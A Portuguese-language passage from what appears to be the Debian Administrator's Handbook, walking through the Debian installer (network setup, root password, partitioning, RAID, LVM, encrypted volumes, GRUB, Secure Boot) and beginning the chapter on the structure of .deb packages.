O programa de instalação começa em inglês, mas o primeiro passo permite ao usuário escolher o idioma que será usado no resto do processo. Escolher o português do Brasil, por exemplo, fornecerá uma instalação totalmente traduzida para o português do Brasil (e um sistema configurado em português como resultado). Esta escolha também é usada para definir opções de padrão mais relevantes nas fases subsequentes (principalmente o padrão de teclado).

DE VOLTA AO BÁSICO Navegando com o teclado

Alguns passos no processo de instalação requerem que você entre com informações. Estas telas tem muitas áreas que podem "ter foco" (áreas de entrada de texto, caixas de seleção, lista de escolhas, botões de OK e Cancelar), e a tecla TAB permite que você mova de uma para outra.

No modo gráfico, você pode usar o mouse como usaria normalmente em um instalador gráfico de desktop.

Figura 4.2. Selecionando o idioma

4.2.3. Selecionando o país

O segundo passo consiste em escolher seu país. Combinado com o idioma, esta informação possibilita ao programa oferecer o padrão de teclado mais apropriado. Isto também influencia a configuração do fuso horário. Nos Estados Unidos, o padrão de teclado QWERTY é sugerido, e uma opção com os fuso horários adequados é oferecida.

Figura 4.3. Selecionando o país

4.2.4. Selecionando o padrão do teclado

O teclado "Inglês Americano" corresponde ao padrão QWERTY usual.

Figura 4.4. Escolha do teclado

4.2.5. Detectando o Hardware

Este passo é completamente automático na vasta maioria dos casos. O instalador detecta seu hardware e tenta identificar o dispositivo de CD-ROM utilizado para acessar seu conteúdo. Ele carrega os módulos correspondentes aos vários componentes de hardware detectados e então "monta" o CD-ROM para lê-lo. Os passos anteriores estavam completamente contidos na imagem de inicialização incluída no CD, um arquivo de tamanho limitado e carregado na memória pela BIOS ao inicializar do CD.

O instalador pode trabalhar com a vasta maioria dos dispositivos, especialmente periféricos ATAPI (algumas vezes chamados IDE e EIDE). Entretanto, se a detecção do leitor de CD-ROM falha, o instalador oferece a escolha de carregar um módulo do núcleo (por exemplo, de um dispositivo USB) correspondendo ao driver de CD-ROM.

4.2.6. Carregando componentes

Com os conteúdos do CD agora disponíveis, o instalador carrega todos os arquivos necessários para continuar seu trabalho. Isso inclui drivers adicionais para os dispositivos restantes (especialmente a placa de rede), assim como todos os componentes do programa de instalação.

4.2.7. Detectando Dispositivos de Rede

Este passo automático tenta identificar a placa de rede e carregar o módulo correspondente. Se a detecção automática falha, você pode selecionar manualmente o módulo a carregar. Se nenhum módulo funciona, é possível carregar um módulo específico de um dispositivo removível. Esta última solução geralmente só é necessária se o driver apropriado não está incluído no kernel Linux padrão, mas disponível em outro lugar, como a página web do fabricante ou em pacotes de firmware.

→ https://www.debian.org/devel/debian-installer/#firmware_nonfree

Este passo deve definitivamente obter sucesso para as instalações netinst, já que os pacotes Debian devem ser carregados da rede.

4.2.8. Configurando a Rede

Para automatizar o processo tanto quanto possível, o instalador tenta configurar uma configuração automática de rede por descoberta de rede DHCP (para IPv4) e por IPv6. Se isso falhar, ele oferece mais opções: tentar de novo com uma configuração DHCP normal, tentando uma configuração DHCP declarando o nome da máquina, ou definir uma configuração de rede estática.

Esta última opção requer um endereço IP, uma máscara de sub-rede, um endereço IP para um possível gateway, um nome de máquina, e um nome de domínio.

DICA Configuração sem DHCP

Se a rede local é equipada com um servidor DHCP que você não deseja utilizar porque você prefere definir um endereço IP estático para a máquina durante a instalação, você pode adicionar a opção netcfg/use_dhcp=false ao inicializar de uma mídia de instalação. Você somente precisa ir para a opção desejada do menu pressionando a tecla TAB e adicionar a opção desejada antes de pressionar a tecla Enter.

ATENÇÃO Não improvise

Muitas redes locais são baseadas em uma suposição implícita que todas as máquinas são confiáveis, e configurações inadequadas de um único computador irão frequentemente perturbar toda a rede. Como resultado, não conecte sua máquina em uma rede sem primeiramente consultar o administrador sobre as configurações apropriadas (por exemplo, o endereço IP, máscara de rede e endereços de broadcast).

4.2.9. Senha do administrador

A conta root do superusuário, reservada ao administrador da máquina, é criada automaticamente durante a instalação; é por isso que uma senha é solicitada. O instalador também pede uma confirmação da senha para evitar qualquer erro de entrada, que seria difícil de corrigir posteriormente. Observe que você pode deixar ambos os campos vazios se quiser que a conta root seja desativada. Nesse caso, o login do usuário root será desativado e o primeiro usuário regular — que será criado pelo instalador na próxima etapa — terá direitos administrativos por meio do sudo (consulteSeção 8.9.4, “Compartilhando Direitos Administrativos”).

SEGURANÇA Senha do administrador

A senha do usuário root deve ser longa (12 caracteres ou mais) e impossível de adivinhar. De fato, qualquer computador (e com mais razão qualquer servidor) conectado a internet é regularmente alvo de tentativas de conexões automatizadas com as senhas mais óbvias. Algumas vezes ele ainda pode ser alvo de ataques de dicionário, em que várias combinações de palavras e números são testadas como senhas. Evite usar nomes de filhos ou pais, datas de nascimento, etc.: muitos de seus colegas de trabalho podem conhecê-lo e você raramente quer dar a eles livre acesso ao computador em questão.

Estas observações são igualmente aplicáveis para senhas de outros usuários, mas as consequências de uma conta comprometida são menos drásticas para usuários sem privilégios administrativos.

Se estiver faltando inspiração, não hesite em usar geradores de senha, como o pwgen (no pacote de mesmo nome).

Figura 4.5. Senha do administrador

4.2.10. Criando o Primeiro Usuário

O Debian também impõe a criação de uma conta de usuário padrão para que o administrador não adquira o mau hábito de trabalhar como root. O princípio da precaução, essencialmente, significa que cada tarefa é executada com os privilégios mínimos necessários, a fim de limitar os danos causados por erro humano. Por isso, o instalador vai pedir o nome completo do usuário primeiro, seu nome de usuário e sua senha (duas vezes, para evitar o risco de entrada errada).

Figura 4.6. Nome do primeiro usuário

4.2.11. Configurando o relógio

Se a rede estiver disponível, o relógio interno do sistema é atualizado (uma única vez) a partir de um servidor NTP. Desse modo, os registros de tempo nos relatórios estarão corretos desde a primeira inicialização. Para que eles permaneçam consistentemente precisos ao longo do tempo, um serviço (daemon) NTP precisa ser configurado após a instalação inicial (veja Seção 8.9.2, “Sincronização de Tempo”).

4.2.12. Detectando Discos e Outros Dispositivos

Este passo automaticamente detecta os discos rígidos nos quais o Debian pode ser instalado. Eles serão apresentados no próximo passo: particionamento.

4.2.13. Iniciando a Ferramenta de Partição

CULTURA Usos do particionamento

O particionamento, um passo indispensável na instalação, consiste em dividir o espaço disponível nos discos rígidos (cada subdivisão sendo chamada de "partição") de acordo com os dados armazenados neles e a utilização para a qual se pretende utilizar o computador. Este passo também inclui escolher os sistemas de arquivos a serem utilizados. Todas estas decisões terão influência na performance, segurança de dados e na administração do servidor.

O passo de particionamento é tradicionalmente difícil para novos usuários. É necessário definir as várias porções dos discos (ou "partições") em que os sistemas de arquivos do Linux e a memória virtual (área de troca) serão armazenados. Esta tarefa é complicada se outro sistema operacional que você queira manter já está na máquina. De fato, você terá que ter certeza de não alterar as partições dele (ou que você redimensione elas sem causar danos).

Felizmente, o programa de particionamento tem um modo "guiado" que recomenda partições para o usuário fazer - na maioria dos casos, você pode simplesmente validar as sugestões do programa.

Figura 4.7. Escolha do modo de particionamento

A primeira tela da ferramenta de particionamento oferece a opção de usar um disco rígido inteiro para criar várias partições. Para um (novo) computador que irá utilizar exclusivamente Linux, esta opção é claramente a mais simples, podendo escolher a opção “Guiado - utilizar todo o disco”. Se o computador tiver dois discos rígidos para dois sistemas operacionais, definir um disco para cada também é uma solução que pode facilitar o particionamento. Em ambos os casos, a próxima tela oferece a escolha do disco onde o Linux será instalado selecionando a entrada correspondente (por exemplo, “SCSI1 (0,0,0) (sda) - 53,7 GB ATA QEMU HARDDISK”). Em seguida, você inicia o particionamento guiado.

Figura 4.8. Disco a utilizar para particionamento guiado

Assistente de particionamento também pode criar volumes lógicos LVM em vez de partições (veja abaixo). Uma vez que o restante da operação é o mesmo, não vamos passar por cima da opção "Guiado - usar o disco inteiro e configurar LVM" (criptografado ou não).

Em outros casos, quando o Linux deve trabalhar ao lado de outras partições já existentes, você precisa escolher o particionamento manual.

4.2.13.1. Particionamento assistido

A ferramenta de particionamento guiada oferece três métodos de particionamento, que correspondem a diferentes usos.

Figura 4.9. Particionamento assistido

O primeiro método é chamado de "Todos os arquivos em uma partição". Toda a árvore do sistema Linux são armazenados em um único sistema de arquivos, o que corresponde ao diretório raiz /. Este particionamento simples e robusto se encaixa perfeitamente para sistemas pessoais ou de um único usuário. Na verdade, serão criadas duas partições: a primeira vai abrigar o sistema completo, a segunda a memória virtual (swap).

O segundo método, “Partição /home separada”, é similar, mas divide a hierarquia de diretórios em dois: uma partição contém o sistema Linux (/), e a segunda contém os “diretórios de usuário” (ou seja, os dados dos usuários, arquivos e subdiretórios disponíveis em /home/).

O último método de particionamento, chamado “partições /home, /var e /tmp separadas”, é apropriado para servidores e sistemas multi-usuário. Ele divide a árvore de diretórios em várias partições: Além das partições raiz (/) e de contas de usuários (/home/), também tem partições para dados de software servidor (/var/) e arquivos temporários (/tmp/). Estas divisões têm várias vantagens. Os usuários não podem travar o servidor consumindo todo o espaço disponível no disco rígido (eles só podem lotar o /tmp/ e o /home/). Os dados dos daemons (especialmente os logs) já não podem paralisar o resto do sistema.

DE VOLTA AO BÁSICO Escolhendo um sistema de arquivos

Um sistema de arquivos define a maneira como os dados são organizados no disco rígido. Cada sistema de arquivos existente tem seus méritos e limitações. Alguns são mais robustos, outros mais eficazes: se você conhece bem as suas necessidades, é possível escolher o sistema de arquivos mais adequado. Várias comparações já foram feitas; parece que o ReiserFS é particularmente eficiente para ler muitos arquivos pequenos; O XFS, por sua vez, funciona mais rápido com arquivos grandes. Ext4, o sistema de arquivos padrão para Debian, é um bom ponto médio, baseado nas três versões anteriores de sistemas de arquivos historicamente usados no Linux (ext, ext2 e ext3). O Ext4 supera certas limitações do ext3 e é particularmente apropriado para discos rígidos de grande capacidade. Outra opção seria experimentar o muito promissor btrfs, que inclui vários recursos que requerem, até hoje, o uso de LVM e/ou RAID.

Os sistemas de arquivos com recurso de journaling "diário" (como ext3, ext4, btrfs, reiserfs ou xfs) tomam medidas especiais para ser possível retornar a um estado consistente após uma interrupção abrupta, sem analisar completamente o disco inteiro (como era o caso com o ext2). Isto é possível através do preenchimento de um "journal" que descreve as operações para realizar antes de realmente executá-las. Se uma operação for interrompida, irá ser possível "repetir" a partir do "journal". Por outro lado, se ocorrer uma interrupção durante uma atualização do "journal", a última alteração solicitada é simplesmente ignorada; os dados a serem escritos podem ser perdidos, mas uma vez que os dados sobre o disco não mudaram, eles permaneceram coerentes. Isso não é nada além de um mecanismo transacional aplicada ao sistema de arquivos.

Depois de escolher o tipo de partição, o software calcula uma sugestão, e a descreve na tela; o usuário pode, então, modificá-la, se necessário. Você pode, em particular, escolher um outro sistema de arquivos se a escolha padrão (ext4) não é apropriada. Na maioria dos casos, no entanto, o particionamento proposto é razoável e pode ser aceito selecionando a opção "Finalizar o particionamento e escrever as mudanças no disco".

Figura 4.10. Validando o particionamento

4.2.13.2. Particionamento manual

Particionamento manual permite uma maior flexibilidade, permitindo que o usuário escolha a finalidade e o tamanho de cada partição. Além disso, este modo é inevitável, se você quiser usar o software RAID.

NA PRÁTICA diminuindo uma partição do Windows

Para instalar o Debian ao lado de um sistema operacional existente (Windows ou outro), você deve ter algum espaço disponível no disco rígido que não está sendo usado por outro sistema, a fim de ser capaz de criar as partições dedicadas ao Debian. Na maioria dos casos, isso significa diminuir uma partição do Windows e reutilizando o espaço liberado.

O instalador do Debian permite esta operação quando utilizar o modo manual para o particionamento. Você só precisa escolher a partição do Windows e digitar seu novo tamanho (isso funciona da mesma forma em partições FAT ou NTFS sem criptografia).

Se o Windows estiver usando partições criptografadas com BitLocker, os passos para redimensioná-las precisa usar o gerenciamento do BitLocker junto com a ferramenta de gerencia de disco do Windows.

A primeira tela exibe os discos disponíveis, suas partições e qualquer espaço livre possível que ainda não foi particionado. Você pode selecionar qualquer elemento exibido; e se pressionar a tecla Enter depois vai ter uma lista de possíveis ações.

Você pode apagar todas as partições em um disco, selecionando-o.

Ao selecionar espaço livre em um disco, você pode criar manualmente uma nova partição. Você também pode fazer isso com o assistente de particionamento, que é uma solução interessante para um disco que já contenha outro sistema operacional, mas onde você deseja particionar para o Linux de uma forma padrão. Veja Seção 4.2.13.1, “Particionamento assistido” for more details on guided partitioning.

Figura 4.11. Editando/criando uma partição

DE VOLTA AO BÁSICO Ponto de montagem

O ponto de montagem é a árvore de diretório que vai abrigar o conteúdo do sistema de arquivos na partição selecionada. Assim, uma partição montada em /home/ é tradicionalmente destinada a conter dados do usuário.

Quando esse diretório é chamado de "/", ele é conhecido como a raiz do sistema de arquivos e, portanto, a raiz da partição que vai realmente hospedar o sistema Debian.

DE VOLTA AO BÁSICO Memória virtual, swap

A memória virtual permite que o núcleo do Linux, quando faltar memória (RAM) suficiente, libere um pouco de memória armazenando as partes da RAM que estão inativas há algum tempo na partição de troca do disco rígido. Também é fundamental para os recursos "Suspender" e "Hibernar" de um sistema.

Para simular a memória adicional, o Windows usa um arquivo de troca que está diretamente contido em um sistema de arquivos. Por outro lado, o Linux usa uma partição dedicada a este propósito, daí o termo "partição de troca". Mas no Linux também podemos usar um arquivo de troca.

Ao escolher uma partição, você pode indicar a forma como que você vai utilizá-la:

formatá-la e incluí-la no sistema de arquivos escolhendo um ponto de montagem;

usá-la como uma partição de troca;

transformá-la em um "volume físico para encriptação" (para proteger a confidencialidade dos dados em determinadas partições, veja abaixo);

torná-lo um "volume físico para LVM" ("physical volume for LVM") (este conceito será discutido em detalhes ainda neste capítulo);

use ele como um dispositivo RAID (veja mais a frente neste capítulo);

você pode também escolher não usá-lo, e portanto deixá-lo inalterado.

4.2.13.3. Configurando dispositivos Multidisco (RAID em software)

Alguns tipos de RAID permitem a duplicação de informações armazenadas em discos rígidos para evitar perda de dados no caso de um problema de hardware afetando um dos discos. RAID nível 1 mantém uma cópia idêntica e simples (espelho) de um disco rígido em outro, enquanto RAID nível 5 ou 6 espalha dados redundantes por vários discos, permitindo assim a completa reconstrução de um dispositivo que falhe.

Vamos apenas descrever RAID nível 1, que é o mais simples de implementar. O primeiro passo envolve a criação de duas partições de mesmo tamanho localizadas em dois discos rígidos diferentes, e a rotulação delas como "volume físico para RAID" ("physical volume for RAID").

Você deve então escolher "Configurar RAID via software" na ferramenta de particionamento para combinar essas duas partições em um novo disco virtual e selecione "Criar dispositivo MD" na tela de configuração. Em seguida, você precisa responder a uma série de perguntas sobre este novo dispositivo. A primeira pergunta é sobre o nível de RAID para usar, que no nosso caso será "RAID1". A segunda pergunta é sobre o número de dispositivos ativos - dois, no nosso caso, que é o número de partições que precisa ser incluído neste dispositivo MD. A terceira pergunta é sobre o número de dispositivos disponíveis - 0; não planejamos qualquer disco adicional para assumir um possível disco defeituoso. A última pergunta requer que você escolha as partições para o RAID - estes seriam os dois que temos reservado para esta finalidade (certifique-se apenas de selecionar as partições que mencionam explicitamente "raid").

Voltar ao menu principal, aparece um novo disco virtual "RAID". Este disco é apresentado com uma única partição que não pode ser excluído, mas cujo uso, podemos escolher (assim como em qualquer outra partição).

Para mais detalhes sobre as funções RAID, consulte Seção 12.1.1, “RAID Por Software”.

4.2.13.4. Configurando o Gerenciador de Volume Lógico (Logical Volume Manager - LVM)

LVM permite criar partições "virtuais" que se estendem ao longo de vários discos. Os benefícios são dois: o tamanho das partições não estão limitados pelos discos individuais, mas pelo seu volume cumulativo, e você pode redimensionar as partições existentes a qualquer momento possivelmente depois de adicionar um disco adicional quando necessário.

LVM usa uma terminologia particular: uma partição em particular é um "volume lógico" ("logical volume"), que é parte de um "grupo de volumes" ("volume group"), ou uma associação de vários "volumes físicos" (physical volumes"). Cada um destes termos na verdade correspondem a uma partição "real" (ou um dispositivo de RAID em software).

Esta técnica funciona de uma forma simples: cada volume, físico ou lógico, é dividido em blocos de mesmo tamanho, que "are made to correspond" pelo LVM. A adição de um novo disco causará a criação de um novo volume físico, e estes novos blocos podem ser associados a qualquer grupo de volumes. Todas as partições no grupo de volumes que é então expandido terão espaço adicional no qual elas poderão se extender.

A ferramenta de particionamento configura o LVM em vários passos. Primeiro você deve criar nos discos existentes as partições que serão "volumes físicos para o LVM". Para ativar o LVM, você precisa escolher "Configurar o Logical Volume Manager (LVM)", então na mesma tela de configuração "Criar um grupo de volumes", para o qual você irá associar os volumes físicos existentes. Finalmente, você pode criar volumes lógicos dentro do grupo de volume. Note que o sistema de particionamento automático pode realizar todos estes passos automaticamente.

No menu de particionamento, cada volume lógico vai aparecer como um disco com uma única partição que não pode ser apagada, mas que você pode usar da forma que desejar.

O uso de LVM é descrito em mais detalhes em Seção 12.1.2, “LVM”.

4.2.13.5. Configurando Partições Criptografadas

Para garantir a confidencialidade dos seus dados, por exemplo no caso de uma perda ou roubo de seu computador ou disco rígido, é possível criptografar os dados de algumas partições. Esta funcionalidade pode ser inserida em qualquer sistema de arquivos já que, assim como no LVM, o Linux (e mais particularmente o driver dm-crypt) usa o "Device Mapper" para criar uma partição virtual (com o conteúdo protegido) baseado em uma partição num nível abaixo que armazena os dados de forma criptografada (graças ao LUKS, Linux Unified Key Setup, um formato padronizado que habilita o armazenamento de dados criptografados assim como de metainformações que indicam os algoritmos de criptografia usados).

SEGURANÇA Partição de troca ("swap") criptografada

Quando uma partição criptografada é usada, a chave de criptografia é armazenada em memória (RAM). Como a recuperação desta chave permite a descriptografia dos dados, é de extrema importância evitar deixar uma cópia desta chave que possa ser acessível a um possível ladrão do computador ou disco rígido, ou a um técnico de manutenção. Isto, entretanto, é algo que possa acontecer facilmente com um laptop, já que na hibernação o conteúdo da RAM é armazenado na partição de troca. Se esta partição não estiver criptografada, o ladrão pode acessar a chave e usá-la para descriptografar os dados de uma partição criptografada. É por isto que, quando você usa partições criptografadas, é imperativo também criptografar a partição de troca!

O instalador Debian vai avisar o usuário se ele tentar fazer uma partição criptografada mas deixar a partição de troca não criptografada.

Para criar uma partição criptografada, você deve primeiro atribuir uma partição disponível para este propósito. Para isto, selecione uma partição e indique que ela é para ser usada como um "volume físico para criptografia" ("physical volume for encryption"). Depois de particionar o disco contendo o volume físico a ser feito, escolha "configurar volumes criptografados". O software vai propor iniciar o volume físico com dados aleatórios (tornando a localização dos dados reais mais difícil). e vai pedir para você entrar uma "frase-chave criptográfica" ("encryption passphrase"), que você vai ter que digitar toda vez que iniciar o computador para ter acesso ao conteúdo da partição criptografada. Uma vez que este passo estiver completo, e você tiver retornado ao menu da ferramenta de particionamento, uma nova partição vai estar disponível num "volume criptografado", que você pode então configurar como outra partição qualquer. Na maioria dos casos, esta partição é usada como um volume físico para LVM para proteger várias partições (volumes lógicos de LVM) com a mesma chave de criptografia, inclusive a partição de troca (veja barra lateral SEGURANÇA Partição de troca ("swap") criptografada).

4.2.14. Instalando o Sistema Básico

Este passo, que não requer qualquer interação com o usuário, instala os pacotes do "sistema básico" do Debian. Isto inclui as ferramentas dpkg e apt, que gerenciam os pacotes Debian, assim como os utilitários necessários para iniciar o sistema e começar a usá-lo.

Figura 4.12. Instalação do sistema básico

4.2.15. Configurando o Gerenciador de Pacote (apt)

Para poder instalar software adicional, o APT precisa ser configurado e ensinado onde encontrar pacotes Debian. Este passo é o mais automatizado possível.

NOTA CD-ROM do Debian no dispositivo

Se o instalador detecta um disco de instalação do Debian no leitor de CD/DVD, não é necessário configurar o APT para procurar por pacotes na rede: o APT é configurado automaticamente para ler os pacotes do dispositivo de mídia removível. Se o disco é parte de um conjunto, o software vai se oferecer para "explorar" outros discos para guardar uma referência de todos os pacotes guardados neles.

Se for preciso obter pacotes da rede, o instalador permite escolher um servidor do qual irá baixar estes pacotes, escolhendo primeiro um país, então um espelho disponível no país. Um espelho é um servidor público hospedando cópias de todos os arquivos de um servidor de arquivos primário do Debian.

Figura 4.13. Selecionando um espelho Debian

Finalmente, o programa propõe usar um proxy HTTP. Se não houver proxy, o acesso à internet será direto. se você digitar http://proxy.falcot.com:3128, o APT vai usar o proxy/cache da Falcot, um "Squid". Você pode encontrar estas configurações verificando as configurações de um navegador web em outra máquina já conectada nesta mesma rede.

Os arquivos Packages.xz e Sources.xz são então automaticamente baixados para atualizar a lista dos pacotes reconhecidos pelo APT.

DE VOLTA AO BÁSICO Proxy HTTP

Um proxy HTTP é um servidor que encaminha requisições HTTP para os usuários da rede. Ele em geral ajuda a deixar os downloads mais rápidos mantendo uma cópia dos arquivos que foram transferidos através dele (e neste caso falamos de proxy/cache). Em alguns casos, passar por um proxy é a única forma de acessar um servidor externo; nestes casos é essencial responder a pergunta correspondente durante a instalação para o programa conseguir baixar pacotes Debian através dele.

Squid é o nome do programa servidor usado pela Falcot Corp para oferecer este serviço.

4.2.16. Concurso de Popularidade de Pacotes Debian

O sistema Debian contém um pacote chamado popularity-contest ("concurso de popularidade"), cuja função é compilar estatísticas de uso de pacotes. Semanalmente, este programa coleta informações sobre os pacotes instalados e aqueles usados recentemente, e envia anonimamente esta informação para os servidores do projeto Debian. O projeto pode então usar esta informação para determinar a importância relativa de cada pacote, o que influencia a prioridade dada a ele. Em particular, os pacotes mais "populares" serão incluídos no CD-ROM de instalação, o que vai facilitar o acesso por usuários que não desejam baixá-los ou comprar um conjunto completo de CDs.

Este pacote é ativado apenas sob-demand, para respeitar a confidencialidade de uso dos usuários.

4.2.17. Selecionando Pacotes para a Instalação

Os seguintes passos permitem que você escolha a função da máquina em um sentido bem amplo; as doze tarefas sugeridas correspondem a listas de pacotes para instalação. A lista de pacotes que vão realmente ser instalados pode receber um ajuste-fino ou ser completada depois. mas isto fornece um bom ponto de partida de forma simples.

Este passo pode necessitar um conjunto completo de mídias de instalação ou uma conexão à internet e uma configuração de espelhos como descrito acima.

Alguns pacotes também são instalados automaticamente de acordo com o hardware detectado (graças ao programa discover-pkginstall do pacote discover).

Figura 4.14. Escolhas de tarefas

4.2.18. Instalando o carregador de boot GRUB

O carregador de boot é o primeiro programa a ser iniciado pela BIOS. Este programa carrega o núcleo Linux na memória e então o executa. geralmente ele oferece um menu para o usuário escolher o núcleo que será carregado e/ou o sistema operacional para iniciar.

ATENÇÃO Carregador de boot e dual boot

Esta fase no processo de instalação do Debian detecta os sistemas operacionais que já estão instalados no computador, e adiciona as entradas correspondentes automaticamente no menu de boot, mas nem todos os programas de instalação fazem isto.

Em particular, se você instala (ou reinstala) o Windows depois, o carregador de boot será apagado. O Debian ainda vai estar no seu disco rígido, mas vai ficar inacessível a partir do menu de boot (exceto para o Windows 10, onde ele ainda é acessível através do console de recuperação do Windows). Você então terá que iniciar o sistema de instalação Debian em modo de recuperação para configurar um carregador de boot menos exclusivista. Esta operação é descrita em detalhes no manual de instalação.

→ https://www.debian.org/releases/stable/amd64/ch08s07

Por padrão, o menu proposto pelo GRUB contém todos os núcleos Linux instalados, assim como todos os outros sistemas operacionais que foram detectados. É por isto que você deve aceitar a proposta de instalar o GRUB no seu "Master Boot Record". Como manter versões de núcleos antigas preserva a habilidade de iniciar o mesmo sistema se o núcleo recentemente instalado der defeito ou não se adaptar bem ao seu hardware, é melhor manter algumas versões antigas instaladas.

GRUB é o carregador de boot padrão instalado no Debian devido à sua superioridade técnica: funciona com a maioria dos sistemas de arquivos e portanto não necessita de uma atualização após cada instalação de novo núcleo, já que ele lê sua configuração durante o boot e acha a posição exata do novo núcleo. A Versão 1 do GRUB (conhecida agora como "Grub Legacy") não lida com todas as combinações de LVM e RAID em software; a versão 2, instalada por padrão, é mais completo. Embora possam haver ainda situações onde é preferível instalar o LILO (outro carregador de boot); o instalador Debian não suporta mais a instalação dele.

Vale notar que o GRUB não é um único bootloader, é mais como uma coleção de bootloaders que se adéquam a diferentes casos. Os numerosos pacotes binários construídos a partir das fontes do GRUB refletem isto: grub-efi-amd64 para PC 64-bit iniciando em modo UEFI, grub-efi-ia32 para PC 32-bit iniciando em modo UEFI, grub-pc para PC iniciando em modo BIOS, grub-uboot para computadores ARM, etc.

Para mais informações sobre configuração do GRUB, leia Seção 8.8.2, “Configuração do GRUB 2”.

CULTURA Secure Boot e o carregador de boot shim

Secure Boot é uma tecnologia que garante que você rode apenas software validado pelo seu fornecedor de S.O. Para garantir isto cada elemento da sequência de inicio valida o próximo componente de software que vai executar. No nível mais profundo, o firmware UEFI guarda chaves criptografadas fornecidas pela Microsoft para verificar a assinatura no boot, garantindo que é seguro executar. Como conseguir um binário assinado pela Microsoft é um processo longo, o Debian decidiu não assinar o GRUB diretamente. Ao invés disto, ele usa um bootloader intermediário chamado shim, que quase nunca precisa de mudança, e que tem como única função verificar a assinatura fornecida pelo Debian no GRUB e executar o GRUB. Para rodar o Debian numa máquina tendo Secure Boot habilitado, o pacote shim-signed deve estar instalado.

Abaixo da pilha, o GRUB fará uma verificação semelhante com o kernel, e então o kernel também pode verificar as assinaturas nos módulos que são carregados. O kernel também pode proibir algumas operações que podem alterar a integridade do sistema.

O Debian 10 (Buster) é o primeiro lançamento com suporte para inicialização segura (Secure Boot). Antes, era necessário desabilitar esse recurso na tela de configuração do sistema oferecida pelo BIOS ou UEFI.

4.2.19. Finalizando a instalação e reiniciando

A instalação agora está completa, o programa pede para você remover o CD-ROM do leitor e reiniciar o computador.

Figura 4.15. Instalação Completa

4.3. Depois do primeiro Boot

Se você ativou a tarefa "Ambiente de área de trabalho Debian" (Debian desktop environment) sem qualquer escolha de área de trabalho explícita (ou com a escolha "GNOME"), o computador vai exibir o gestor de login gdm3.

Figura 4.16. Primeiro boot

O usuário que já está criado pode autenticar e começar a trabalhar imediatamente.

4.3.1. Instalando Software adicional

Os pacotes instalados correspondem aos perfis selecionados durante a instalação, mas não necessariamente ao uso que realmente vai ser feito da máquina. Desta forma, você pode querer usar uma ferramenta de gerenciamento de pacotes para refinar a seleção dos pacotes instalados. As duas ferramentas mais frequentemente usadas (que estarão instaladas se o perfil "Ambiente de área de trabalho Debian" - Debian desktop environment - tiver sido escolhido) são o apt (acessível pela linha de comando) e o synaptic ("Gestor de Pacotes Synaptic" nos menus).

Para facilitar a instalação de grupos coerentes de programas, o Debian cria "tarefas" que são dedicadas a usos específicos (servidor de e-mail, servidor de arquivos, etc.). Você já teve a oportunidade de selecioná-las durante a instalação, e pode acessá-las de novo graças a ferramentas de gestão de pacotes como o aptitude (as tarefas são listadas em uma seção distinta) e o synaptic (através do menu Editar → Marcar Pacotes por Tarefa…).

O Aptitude é uma interface para o APT em modo texto e tela cheia. Com ele o usuário pode navegar na lista de pacotes disponíveis segundo várias categorias (pacotes instalados ou não-instalados, por tarefa, por seção, etc), e para ver toda a informação disponível em cada um deles (dependências, conflitos, descrição, etc.). Cada pacote pode ser marcado com "instalar" (para ser instalado, tecla +) ou “remover” (para ser removido, tecla - key). todas estas operações serão conduzidas simultaneamente uma vez que você tenha confirmado elas ao pressionar a tecla g ("g" de "go!", "vai" em inglês). Se você esqueceu alguns programas, sem problema; você pode rodar o aptitude novamente depois que terminar a instalação.

DICA o Debian leva em consideração quem não fala inglês

Várias tarefas são dedicadas à localização (ou nacionalização) do sistema para outros idiomas além do inglês. Elas incluem a documentação de pacotes, dicionários, e vários outros pacotes úteis para falantes de diferentes idiomas. A tarefa apropriada é automaticamente selecionada se um idioma diferente do inglês for escolhido durante a instalação.

Obviamente, é possível não selecionar nenhuma tarefa para instalar. Neste caso, você pode instalar manualmente o software desejado com o comando apt ou aptitude (que são ambos acessíveis pela linha de comando). Os pacotes podem ser encontrados usando o comando apt-cache search task palavra-chave.

VOCABULÁRIO Dependências de pacotes, conflitos

No jargão dos pacotes Debian, uma "dependência" é outro pacote necessário para o correto funcionamento do pacote em questão. Por outro lado, um "conflito" é um pacote que não pode ser instalado junto com outro.

Estes conceitos são discutidos em muitos detalhes em Capítulo 5, Sistema de Empacotamento: Ferramentas e Princípios Fundamentais.

4.3.2. Atualizando o sistema

Um primeiro apt upgrade (um comando usado para atualizar automaticamente os programas instalados) é geralmente necessário, especialmente devido a possíveis atualizações de segurança lançadas desde o lançamento da última versão estável do Debian. Estas atualizações podem envolver algumas questões adicionais via debconf, a ferramenta de configuração padrão do Debian. Para mais informações sobre estas atualizações conduzidas pelo apt, verifique em Seção 6.2.3, “Atualização do sistema”.

Capítulo 5. Sistema de Empacotamento: Ferramentas e Princípios Fundamentais

Como um administrador de sistemas Debian, você vai rotineiramente manipular pacotes .deb, já que eles contêm unidades funcionais consistentes (aplicações, documentação, etc.), cujas instalação e manutenção eles facilitam. Logo, é uma boa ideia saber exatamente o que são e como usá-los.

Este capítulo descreve a estrutura e conteúdo dos pacotes "binários" e "fontes". Os primeiros são arquivos diretamente usáveis pelo dpkg, enquanto os segundos contém o código fonte, assim como as instruções para construir os pacotes binários.

5.1. Estrutura de um Pacote Binário

O formato do pacote Debian é projetado para que seu conteúdo possa ser extraído em qualquer sistema Unix que contenha os clássicos comandos ar, tar e xz ou às vezes gzip ou bzip2. Esta propriedade aparentemente trivial é importante para a portabilidade e recuperação de desastres.

Imagine, por exemplo, que você apagou acidentalmente o programa dpkg, e que portanto você não pode mais instalar pacotes Debian. O dpkg sendo um pacote Debian em si, ao que parece seu sistema seria feito por... Felizmente, você conhece o formato de um pacote e pode então baixar o arquivo .deb do pacote dpkg e instalar ele manualmente (veja a barra lateral sidebar FERRAMENTAS dpkg, APT e ar) . Se por algum infortúnio um ou mais dos programas ar, tar ou gzip/xz/bzip2 tenham sumido, você só precisará copiar o programa faltoso de outro sistema (já que qualquer um destes opera de modo totalmente autônomo, sem dependências, uma simples cópia será suficiente). Se o seu sistema sofreu um desfortúnio ainda mais ultrajante, e mesmo esses não funcionam (talvez o sistema de bibliotecas mais profundo esteja faltando?), você deveria tentar a versão estática do busybox (fornecido pelo pacote busybox-static), a qual é ainda mais autossuficiente, e provê sub comandos tais como busybox ar, busybox tar e busybox xz.

Em caso de um infortúnuo, é melhor você ter um backup do seu sistema também (see Seção 9.10, “Backup”).

FERRAMENTAS dpkg, APT e ar

dpkg é um programa que manipula arquivos .deb (pacotes binários), principalmente extraindo, analisando, e desempacotando os mesmos.

